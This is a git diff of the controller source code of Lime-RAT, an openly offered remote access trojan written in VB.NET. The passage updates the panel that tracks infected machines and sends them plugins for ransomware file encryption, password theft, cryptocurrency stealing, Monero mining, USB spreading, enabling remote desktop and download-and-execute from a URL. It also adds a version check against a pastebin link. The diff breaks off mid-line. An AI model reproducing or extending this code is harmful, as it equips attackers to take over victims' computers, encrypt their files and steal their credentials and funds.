Friend WithEvents Timer2 As Timer - Friend WithEvents Timer3 As Timer + Friend WithEvents PingClients As Timer + Friend WithEvents AutoUpdate As Timer Friend WithEvents OnConnectToolStripMenuItem As ToolStripMenuItem Friend WithEvents EnableWindowsRDPToolStripMenuItem As ToolStripMenuItem Friend WithEvents MetroTabPage4 As MetroFramework.Controls.MetroTabPage @@ -1750,7 +1757,8 @@ Partial Class Main Friend WithEvents Label2 As Label Friend WithEvents Label1 As Label Friend WithEvents CAPstart As MetroFramework.Controls.MetroButton - Friend WithEvents Timer4 As Timer + Friend WithEvents CAP As Timer Friend WithEvents CAPsec As NumericUpDown Friend WithEvents PersistenceToolStripMenuItem As ToolStripMenuItem + Friend WithEvents Dicconnction As Timer End Class diff --git a/Project/Server/Forms/Main.resx b/Project/Server/Forms/Main.resx index c5bde38..28d56d3 100644 --- a/Project/Server/Forms/Main.resx +++ b/Project/Server/Forms/Main.resx @@ -137,7 +137,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADo - VAYAAk1TRnQBSQFMAgEB8wEAAaABGAGgARgBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk + VAYAAk1TRnQBSQFMAgEB8wEAAcABGAHAARgBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk AwAB0AEDAgABAQEAASAGAAH1AQX/AKIAAwUBBwMQARYDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb AxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDEgEY AwgBCwMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb @@ -7056,10 +7056,7 @@ - 659, 79 - - - 241, 79 + 723, 79 241, 79 @@ -12274,7 +12271,7 @@ 223, 23 - + 441, 23 @@ -17495,19 +17492,19 @@ 1111, 31 - - 17, 79 - 241, 79 - - 423, 79 + + 425, 79 + + + 570, 79 - - 541, 79 + + 871, 79 - - 809, 79 + + 970, 79 \ No newline at end of file diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb index d822dc6..6a8d030 100644 --- a/Project/Server/Forms/Main.vb +++ b/Project/Server/Forms/Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Sept/14/2018 ## +'## N Y A N C A T ||| Updated on Sept/17/2018 ## '################################################################## '## ## '## ## @@ -37,7 +37,8 @@ Imports Mono.Cecil.Cil Public Class Main - Public WithEvents S As S_Socket + Public WithEvents S As S_TcpListener + Public Event Connected(ByVal sock As Integer) Public SPL = S_Settings.SPL @@ -45,10 +46,10 @@ Public Class Main Private Sub Main_Load(sender As Object, e As EventArgs) Handles MyBase.Load CheckForIllegalCrossThreadCalls = False - Try : Timer2.Interval = My.Settings.PING_VALUE * 1000 : Catch : End Try + Try : PingClients.Interval = My.Settings.PING_VALUE * 1000 : Catch : End Try Try : My.Computer.Audio.Play(My.Resources.Intro, AudioPlayMode.Background) : Catch : End Try 'https://freesound.org/people/eardeer/sounds/385281/ Try - S = New S_Socket(S_Settings.PORT) + S = New S_TcpListener(S_Settings.PORT) Catch ex As Exception MsgBox(ex.Message) End @@ -108,6 +109,17 @@ Public Class Main Try : Client.Close() : Catch : End Try End Try + Try + Using WC As New Net.WebClient() + Dim reply As String = WC.DownloadString("https://pastebin.com/raw/9kHA6nwH") + If reply <> S_Settings.StubVer Then + Messages("{ New update is available! }", "github.com/NYAN-x-CAT/Lime-RAT/releases") + WC.Dispose() + End If + End Using + Catch ex As Exception + End Try + End Sub @@ -119,9 +131,13 @@ Public Class Main SyncLock L1.Items Try For i As Integer = 0 To L1.Items.Count - 1 - If L1.Items(i).ToolTipText = u Then - L1.Items(i).Remove() + If L1.Items(i).Tag = u Then + L1.Items(i).ForeColor = Color.Red + L1.Items(i).SubItems(PING.Index).Text = "Offline" + L1.Items(i).Tag = Nothing + L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) Messages("{" + S.IP(u) + "}", "Disconnected") + Exit For End If Next Catch ex As Exception @@ -129,6 +145,14 @@ Public Class Main End SyncLock End Sub + Private Sub Dicconnction_Tick(sender As Object, e As EventArgs) Handles Dicconnction.Tick + For Each x As ListViewItem In L1.Items + If x.SubItems(PING.Index).Text = "Offline" Then + x.Remove() + End If + Next + End Sub + Public List_PWD As New List(Of String) Public List_DE As New List(Of String) Public List_MINER As New List(Of String) @@ -139,10 +163,11 @@ Public Class Main Public _MINER_SETTINGS As String = "" Public CHK_MINER As Boolean = False Public CHK_PERS As Boolean = False - - Private Sub S_Connected(ByVal u As Integer) Handles S.Connected + Private Sub S_Connected(ByVal u As Integer) Handles Me.Connected Try + Messages("{" + S.IP(u) + "}", "Connected") + If CHK_DE AndAlso IO.File.Exists(PathEXE) AndAlso Not List_DE.Contains(S.IP(u)) Then Dim MS As New IO.MemoryStream Dim PLG = Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) @@ -178,6 +203,8 @@ Public Class Main End Try End Sub + + #End Region @@ -192,31 +219,69 @@ Public Class Main #Region "Add to L1" - Case "info" ' Client Sent me PC name + Case "info" If Me.InvokeRequired Then Me.Invoke(New _Data(AddressOf Data), u, B) Exit Sub End If SyncLock L1.Items + For i As Integer = 0 To L1.Items.Count - 1 + If L1.Items(i).SubItems(ID.Index).Text = A(1) AndAlso L1.Items(i).SubItems(USERN.Index).Text = A(2) Then + L1.Items(i).Tag = u + L1.Items(i).SubItems(IP.Index).Text = S.IP(u) + L1.Items(i).SubItems(ID.Index).Text = A(1) + L1.Items(i).SubItems(USERN.Index).Text = A(2) + L1.Items(i).SubItems(VER.Index).Text = A(3) + L1.Items(i).SubItems(OS.Index).Text = A(4) + L1.Items(i).SubItems(INSDATE.Index).Text = A(5) + L1.Items(i).SubItems(AV.Index).Text = A(6) + L1.Items(i).SubItems(RANS.Index).Text = A(7) + L1.Items(i).SubItems(XMR.Index).Text = A(8) + L1.Items(i).SubItems(SP.Index).Text = A(9) + L1.Items(i).SubItems(PING.Index).Text = "Online" + L1.Items(i).ForeColor = Nothing + L1.Items(i).ToolTipText = String.Format("Privileges {0}" + Environment.NewLine + "Full Path {1}", A(12), A(13)) + Messages("{" + S.IP(u) + "}", "Reconnected") + + Try + If GTV(L1.Items(i).SubItems(ID.Index).Text + "_" + L1.Items(i).SubItems(USERN.Index).Text + " Color") IsNot Nothing Then + L1.Items(i).ForeColor = ColorTranslator.FromHtml(GTV(L1.Items(i).SubItems(ID.Index).Text + "_" + L1.Items(i).SubItems(USERN.Index).Text + " Color")) + End If + + If GTV(L1.Items(i).SubItems(ID.Index).Text + "_" + L1.Items(i).SubItems(USERN.Index).Text + " Note") IsNot Nothing Then + L1.Items(i).SubItems(NOTE_.Index).Text = GTV(L1.Items(i).SubItems(ID.Index).Text + "_" + L1.Items(i).SubItems(USERN.Index).Text + " Note") + End If + Catch ex As Exception + End Try + Exit Select + End If + Next + + '''' + Dim L = L1.Items.Add(_Gio.LookupCountryName(S.IP(u)), _Gio.LookupCountryCode(S.IP(u)) & ".png") - L.ToolTipText = u + L.Tag = u + Try : L.ToolTipText = String.Format("Privileges {0}" + Environment.NewLine + "Full Path {1}", A(12), A(13)) : Catch : End Try L.SubItems.Add(S.IP(u)) + For i As Integer = 1 To A.Length - 1 + If i = 12 Then Exit For L.SubItems.Add(A(i)) Next - If GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Color") IsNot Nothing Then - L.ForeColor = ColorTranslator.FromHtml(GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Color")) - End If + Try + If GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Color") IsNot Nothing Then + L.ForeColor = ColorTranslator.FromHtml(GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Color")) + End If - If GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Note") IsNot Nothing Then - L.SubItems(NOTE_.Index).Text = GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Note") - End If + If GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Note") IsNot Nothing Then + L.SubItems(NOTE_.Index).Text = GTV(L.SubItems(ID.Index).Text + "_" + L.SubItems(USERN.Index).Text + " Note") + End If + Catch ex As Exception + End Try L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) - Messages("{" + S.IP(u) + "}", "Connected") - If MetroToggle1.Checked = True Then NotifyIcon1.BalloonTipIcon = ToolTipIcon.None NotifyIcon1.BalloonTipText = "User: " + A(2) + vbNewLine + "IP: " + S.IP(u) @@ -224,6 +289,7 @@ Public Class Main NotifyIcon1.ShowBalloonTip(600) End If End SyncLock + RaiseEvent Connected(u) Exit Select #End Region @@ -240,7 +306,7 @@ Public Class Main End If SyncLock L1.Items For i As Integer = 0 To L1.Items.Count - 1 - If L1.Items.Item(i).SubItems(1).Text = S.IP(u) Then + If L1.Items.Item(i).SubItems(ID.Index).Text.ToString = A(2).ToString AndAlso L1.Items.Item(i).SubItems(USERN.Index).Text.ToString = A(3).ToString Then L1.Items.Item(i).SubItems(PING.Index).Text = A(1).ToString Exit For End If @@ -257,7 +323,7 @@ Public Class Main End If SyncLock L1.Items For i As Integer = 0 To L1.Items.Count - 1 - If L1.Items.Item(i).SubItems(1).Text = S.IP(u) Then + If L1.Items.Item(i).SubItems(ID.Index).Text.ToString = A(2).ToString AndAlso L1.Items.Item(i).SubItems(USERN.Index).Text.ToString = A(3).ToString Then L1.Items.Item(i).SubItems(RANS.Index).Text = A(1).ToString Exit For End If @@ -273,7 +339,7 @@ Public Class Main End If SyncLock L1.Items For i As Integer = 0 To L1.Items.Count - 1 - If L1.Items.Item(i).SubItems(1).Text = S.IP(u) Then + If L1.Items.Item(i).SubItems(ID.Index).Text.ToString = A(2).ToString AndAlso L1.Items.Item(i).SubItems(USERN.Index).Text.ToString = A(3).ToString Then If A(1).ToString.Contains("Spreaded!") Then L1.Items.Item(i).BackColor = Color.DarkGreen L1.Items.Item(i).SubItems(SP.Index).Text = "Just Spreaded!" @@ -294,7 +360,7 @@ Public Class Main End If SyncLock L1.Items For i As Integer = 0 To L1.Items.Count - 1 - If L1.Items.Item(i).SubItems(1).Text = S.IP(u) Then + If L1.Items.Item(i).SubItems(ID.Index).Text.ToString = A(2).ToString AndAlso L1.Items.Item(i).SubItems(USERN.Index).Text.ToString = A(3).ToString Then L1.Items.Item(i).SubItems(XMR.Index).Text = A(1).ToString Exit For End If @@ -311,7 +377,7 @@ Public Class Main SyncLock L1.Items For i As Integer = 0 To L1.Items.Count - 1 - If L1.Items.Item(i).SubItems(1).Text = S.IP(u) Then + If L1.Items.Item(i).SubItems(ID.Index).Text.ToString = A(1).ToString AndAlso L1.Items.Item(i).SubItems(USERN.Index).Text.ToString = A(2).ToString Then L1.Items.Item(i).BackColor = Nothing Exit For End If @@ -1022,7 +1088,7 @@ Public Class Main e.DrawBackground() - If L2.Items(e.Index).ToString.Contains("Connected") Then + If L2.Items(e.Index).ToString.Contains("Connected") OrElse L2.Items(e.Index).ToString.Contains("Reconnected") Then e.Graphics.DrawString(L2.Items(e.Index).ToString(), e.Font, L, New PointF(e.Bounds.X, e.Bounds.Y)) ElseIf L2.Items(e.Index).ToString.Contains("Disconnected") Then @@ -1059,15 +1125,15 @@ Public Class Main Private Sub CAPstart_Click(sender As Object, e As EventArgs) Handles CAPstart.Click If CAPstart.Text = "START" Then - Timer4.Interval = CAPsec.Value * 1000 - Timer4.Enabled = True - Timer4.Start() + CAP.Interval = CAPsec.Value * 1000 + CAP.Enabled = True + CAP.Start() CAPstart.Text = "STOP" Else Try - Timer4.Dispose() + CAP.Dispose() CAPstart.Text = "START" L3.Items.Clear() Catch ex As Exception @@ -1078,9 +1144,11 @@ Public Class Main End Sub - Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick + Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles CAP.Tick For Each x As ListViewItem In L1.Items - S.Send(x.ToolTipText, "!CAP") + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "!CAP") + End If Next End Sub @@ -1204,7 +1272,7 @@ Public Class Main End Try End Function - Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick + Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles LabelUpdate.Tick Try MetroLabel1.Text = "ONLINE CLIENTS [" & L1.Items.Count & "] SELECTED CLIENTS [" & L1.SelectedItems.Count & "] TOTAL RANSOMWARE ATTACKS [" & KeyCount() & "] TOTAL USB SPREAD [" & SpreadCount() & "]" Catch ex As Exception @@ -1294,8 +1362,8 @@ Public Class Main Try For Each x As ListViewItem In L1.SelectedItems Dim _RDP As Remote_Desktop = My.Application.OpenForms("!" + x.SubItems(USERN.Index).Text + "_" + x.SubItems(ID.Index).Text) - If _RDP Is Nothing Then - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\RDP.dll"))) + If _RDP Is Nothing AndAlso Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\RDP.dll"))) x.BackColor = Color.DarkSlateGray End If Next @@ -1316,17 +1384,19 @@ Public Class Main RANS_IMG = Convert.ToBase64String(IO.File.ReadAllBytes(R.PictureBox1.ImageLocation)) RANS_TEXT = R.RichTextBox1.Text For Each x As ListViewItem In L1.SelectedItems - If x.SubItems(RANS.Index).Text = "Encryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Decryption in progress..." Then - result = MessageBox.Show("Task is already in progress! Please wait until it's done. " & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) - If result = DialogResult.No Then - - ElseIf result = DialogResult.Yes Then - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\ENC.dll"))) + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + If x.SubItems(RANS.Index).Text = "Encryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Decryption in progress..." Then + result = MessageBox.Show("Task is already in progress! Please wait until it's done. " & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) + If result = DialogResult.No Then + + ElseIf result = DialogResult.Yes Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\ENC.dll"))) + x.BackColor = Color.DarkSlateGray + End If + Else + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\ENC.dll"))) x.BackColor = Color.DarkSlateGray End If - Else - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\ENC.dll"))) - x.BackColor = Color.DarkSlateGray End If Next End If @@ -1339,19 +1409,21 @@ Public Class Main Private Sub DecryptionToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DecryptionToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - If x.SubItems(RANS.Index).Text = "Encryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Decryption in progress..." Then - Dim result As DialogResult - result = MessageBox.Show("Task is already in progress! Please wait until it's done. " & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + If x.SubItems(RANS.Index).Text = "Encryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Decryption in progress..." Then + Dim result As DialogResult + result = MessageBox.Show("Task is already in progress! Please wait until it's done. " & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) - If result = DialogResult.No Then + If result = DialogResult.No Then - ElseIf result = DialogResult.Yes Then - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DEC.dll"))) + ElseIf result = DialogResult.Yes Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DEC.dll"))) + x.BackColor = Color.DarkSlateGray + End If + Else + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DEC.dll"))) x.BackColor = Color.DarkSlateGray End If - Else - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DEC.dll"))) - x.BackColor = Color.DarkSlateGray End If Next Catch ex As Exception @@ -1364,8 +1436,8 @@ Public Class Main Try For Each x As ListViewItem In L1.SelectedItems Dim FM As File_Manager = My.Application.OpenForms("FM" + x.SubItems(USERN.Index).Text + "_" + x.SubItems(ID.Index).Text) - If FM Is Nothing Then - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\FM.dll"))) + If FM Is Nothing AndAlso Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\FM.dll"))) x.BackColor = Color.DarkSlateGray End If Next @@ -1379,8 +1451,8 @@ Public Class Main Try For Each x As ListViewItem In L1.SelectedItems Dim n As System_Manager = My.Application.OpenForms("Info" + x.SubItems(ID.Index).Text) - If n Is Nothing Then - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DET.dll"))) + If n Is Nothing AndAlso Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DET.dll"))) x.BackColor = Color.DarkSlateGray End If Next @@ -1393,8 +1465,10 @@ Public Class Main Private Sub STOPToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles STOPToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\LOCS.dll"))) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\LOCS.dll"))) + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1405,8 +1479,10 @@ Public Class Main Private Sub STARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles STARTToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\LOC.dll"))) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\LOC.dll"))) + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1418,9 +1494,11 @@ Public Class Main Private Sub PasswordsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PasswordsToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PWD.dll"))) - x.BackColor = Color.DarkSlateGray - PW_F = True + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PWD.dll"))) + x.BackColor = Color.DarkSlateGray + PW_F = True + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1433,8 +1511,10 @@ Public Class Main Messages("Crypto currency Stealer", "Client must be .NET 4.0") For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\CRYP.dll"))) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "CPL" + SPL + getMD5Hash(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\CRYP.dll"))) + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1459,11 +1539,13 @@ Public Class Main MS.Write(CMD, 0, CMD.Length) For Each x As ListViewItem In L1.SelectedItems - If miner.OK = True AndAlso miner.K = False Then - S.SendData(x.ToolTipText, MS.ToArray) - ElseIf miner.K = True Then - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "XMR-K|'P'|") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + If miner.OK = True AndAlso miner.K = False Then + S.SendData(x.Tag, MS.ToArray) + ElseIf miner.K = True Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "XMR-K|'P'|") + x.BackColor = Color.DarkSlateGray + End If End If Next MS.Dispose() @@ -1482,8 +1564,10 @@ Public Class Main Try Messages("Enable Remote Desktop", "Client must be running as Admin and using router that support UPNP") For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\WRDP.dll"), True)) + SPL + " ") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\WRDP.dll"), True)) + SPL + " ") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1497,8 +1581,10 @@ Public Class Main Private Sub PCRestartToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PCRestartToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PC|'P'|1") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PC|'P'|1") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1509,8 +1595,10 @@ Public Class Main Private Sub PCShutdownToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PCShutdownToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PC|'P'|2") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PC|'P'|2") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1521,8 +1609,10 @@ Public Class Main Private Sub PCLogoutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PCLogoutToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PC|'P'|3") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PC|'P'|3") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1549,8 +1639,10 @@ Public Class Main Dim CMD = SB(S_Encryption.AES_Encrypt("IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-" + "|'P'|" + "4" + "|'P'|" + IO.Path.GetFileName(o.FileName) + "|'P'|" + F)) MS.Write(CMD, 0, CMD.Length) For Each x As ListViewItem In L1.SelectedItems - S.SendData(x.ToolTipText, MS.ToArray) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.SendData(x.Tag, MS.ToArray) + x.BackColor = Color.DarkSlateGray + End If Next MS.Dispose() End If @@ -1569,8 +1661,10 @@ Public Class Main Exit Sub Else For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-" + "|'P'|" + "5" + "|'P'|" + URL + "|'P'|" + EXE) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-" + "|'P'|" + "5" + "|'P'|" + URL + "|'P'|" + EXE) + x.BackColor = Color.DarkSlateGray + End If Next End If Catch ex As Exception @@ -1582,8 +1676,10 @@ Public Class Main Private Sub RestartToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|2") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|2") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1594,8 +1690,10 @@ Public Class Main Private Sub CloseToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|1") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|1") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1607,15 +1705,17 @@ Public Class Main Try Dim result As DialogResult For Each x As ListViewItem In L1.SelectedItems - If x.SubItems(RANS.Index).Text = "Encryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Decryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Encrypted" Then - result = MessageBox.Show("Client didn't finish decrypting yet.." & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) - If result = DialogResult.Yes Then - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|3") + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + If 